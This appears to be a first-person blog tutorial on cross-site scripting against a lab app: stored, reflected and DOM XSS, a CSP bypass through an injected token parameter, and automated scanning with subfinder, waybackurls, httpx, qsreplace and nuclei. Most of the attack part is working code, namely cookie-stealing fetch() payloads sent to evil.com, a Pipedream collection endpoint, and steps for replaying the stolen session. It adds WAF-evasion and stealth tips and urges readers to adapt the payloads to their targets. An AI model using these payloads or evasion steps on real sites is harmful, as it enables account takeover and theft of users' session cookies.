Cross-Site Scripting: I Bypass CSP & Steal Cookies with Advanced XSS – My Lab | Brav

I walk through real-world XSS labs, showing how to bypass CSP, steal session cookies, and automate testing with Burp Suite, subfinder, and more. Follow my step-by-step guide.

Cross-Site Scripting: I Bypass CSP & Steal Cookies with Advanced XSS – My Lab

Published by Brav

Table of Contents

TL;DR

  • I turn a CSP-locked app into a cookie-theft playground.
  • I demonstrate stored, reflected, and DOM XSS using a lab built from real bug-bounty reports.
  • I inject a CSP token via a URL parameter to override default-src ‘self’.
  • I automate endpoint discovery with subfinder, waybackurls, httpx, qsreplace, and nuclei.
  • I share a checklist to avoid common pitfalls and stay stealthy.

Why this matters

Every bug-hunter knows that the classic “alert(1)” test rarely lands a bounty. Filters block common payloads, self-XSS payloads don’t affect real users, and CSP headers often sit like a guard dog at the perimeter. In a real-world setting I was left with three questions: how do I get past those filters, how do I turn a simple XSS into an account takeover, and how do I automate the process so I can cover dozens of endpoints in a single session? This lab answers those questions head-on.

Core concepts

Below is a quick reference for the three XSS flavors I focus on, plus the CSP bypass trick that turned the lab into a cookie-theft playground.

XSS TypeTypical Injection PointExample PayloadLimitation
StoredA database field that is rendered on a page<script>document.cookie</script>Requires write access to the target
ReflectedA URL query string that is reflected in the response<script>alert(1)</script>Works only when the param is echoed back
DOMClient-side code that manipulates the DOM (e.g., location.hash)<img src=x onerror=alert(1)>Needs vulnerable JavaScript on the page
CSP bypass via tokenA custom token query param that the app injects into the CSP headertoken=’; script-src https://evil.com ‘self’;Depends on the app trusting the token

The CSP bypass trick works because the target app constructs the Content-Security-Policy header from a token in the URL. By closing the original directive with a semicolon and appending a new script-src pointing to an attacker-controlled domain, I turned default-src ‘self’ into a door I could walk through.

How to apply it

I built the lab on a clean Python virtual environment. The steps are broken into three phases: enumeration, injection, and exploitation.

  1. Set up the environment

    python3 -m venv venv
    source venv/bin/activate
    pip install requests
    

    I then installed the tooling:

  2. Discover endpoints

    subfinder -d target.com -o subdomains.txt
    waybackurls -d target.com > archived.txt
    httpx -l archived.txt -o active.txt
    

    The httpx pass-thru keeps only responsive URLs, giving me a clean list of candidates.

  3. Craft XSS payloads
    I kept a small payload set:

    • Stored XSS: <img src=x onerror=fetch('https://evil.com/cookie?c='+document.cookie)>
    • Reflected XSS: <script>fetch('https://evil.com/cookie?c='+document.cookie)</script>
    • DOM XSS: #<img src=x onerror=fetch('https://evil.com/cookie?c='+document.cookie)>

    Using qsreplace, I injected them into every query string:

    qsreplace -replace "<img src=x onerror=fetch('https://evil.com/cookie?c='+document.cookie)>" -in active.txt > payloaded.txt
    
  4. Run automated scans
    I fed the payloaded list into nuclei with the XSS templates:

    nuclei -l payloaded.txt -t nuclei-templates/xss/
    

    The scanner quickly flagged the reflected XSS on the /search endpoint and the DOM XSS on /profile.

  5. Manual refinement in Burp Suite
    I opened Burp Proxy Burp Suite — PortSwigger Documentation (2024) and captured the request to /search?query=. In Repeater I replaced the query param with the stored-XSS payload and added a token param to override the CSP:

    token='; script-src https://evil.com 'self';
    

    The response header now reads:

    Content-Security-Policy: default-src 'self'; script-src https://evil.com 'self';
    

    The malicious image now loads from evil.com, sending the victim’s cookie back to my Pipedream endpoint. Pipedream’s simple HTTP trigger logs the c query param, proving the cookie was exfiltrated. (See Pipedream Platform (2024) for a quick setup guide.)

  6. Verify session takeover
    With the stolen cookie in hand, I recreated the victim’s session in a new browser tab. I was logged in as the victim, confirming the account takeover.

Pitfalls & edge cases

ProblemWhy it mattersHow to avoid
WAF blocks the payloadMany sites block script tags outrightEncode payload (%3Cscript%3E…%3C/script%3E) or use image onerror
CSP uses a nonceThe script-src rule ignores external domainsBypass via token or use script-src-elem if available
SameSite cookie policyCookie may not be sent to cross-originUse a malicious image that points to a subdomain under the same domain, or target a session cookie without SameSite
Rate-limit or IP banEnumeration tools can trigger defensesThrottle requests (–rate-limit in httpx, –threads in subfinder)
Blind XSS detectionNo visible response, hard to confirmUse an out-of-band channel (Pipedream or webhook) to log the cookie

Quick FAQ

  1. How does the attacker modify the victim’s session cookie to hijack the session?
    The attacker injects a payload that reads document.cookie and sends the value to an attacker-controlled endpoint. The cookie value is then used to forge authenticated requests.

  2. What are the differences in payloads required for each type of XSS (stored, reflected, DOM)?
    Stored XSS needs persistence in a database, reflected XSS uses the request payload directly, and DOM XSS manipulates client-side code that runs in the browser’s context.

  3. How does the CSP token parameter injection work in detail?
    The application inserts the token value into the CSP header. By closing the existing directive with a semicolon and appending a new script-src rule, the attacker can redirect script execution to an external domain.

  4. What specific CSP header directives can be manipulated via the token?
    Any directive that the application concatenates into the header—commonly default-src, script-src, style-src, or img-src. Adding a new domain or unsafe-inline can break the policy.

  5. What are the best practices for automating XSS detection across many endpoints?
    Use a combination of enumeration (subfinder, waybackurls), active probing (httpx, qsreplace), and template scanners (nuclei). Store results in a database and run periodic scans.

  6. How do you ensure a malicious image source effectively exfiltrates the victim cookie?
    Host the image on a domain that the victim’s browser will load, and add a query string that the server logs. Verify receipt by checking the server logs or a webhook.

Conclusion

The lab proves that a disciplined approach—combining automated discovery, payload injection, and CSP bypass—can turn a seemingly secure app into a cookie-theft playground. If you’re a bug-hunter or security researcher, I encourage you to set up this lab, tweak the payloads for your target, and remember the checklist above to stay stealthy. For those starting out, consider joining a beginner’s coaching session—practical, hands-on guidance can shave hours off the learning curve.

References

Last updated: December 13, 2025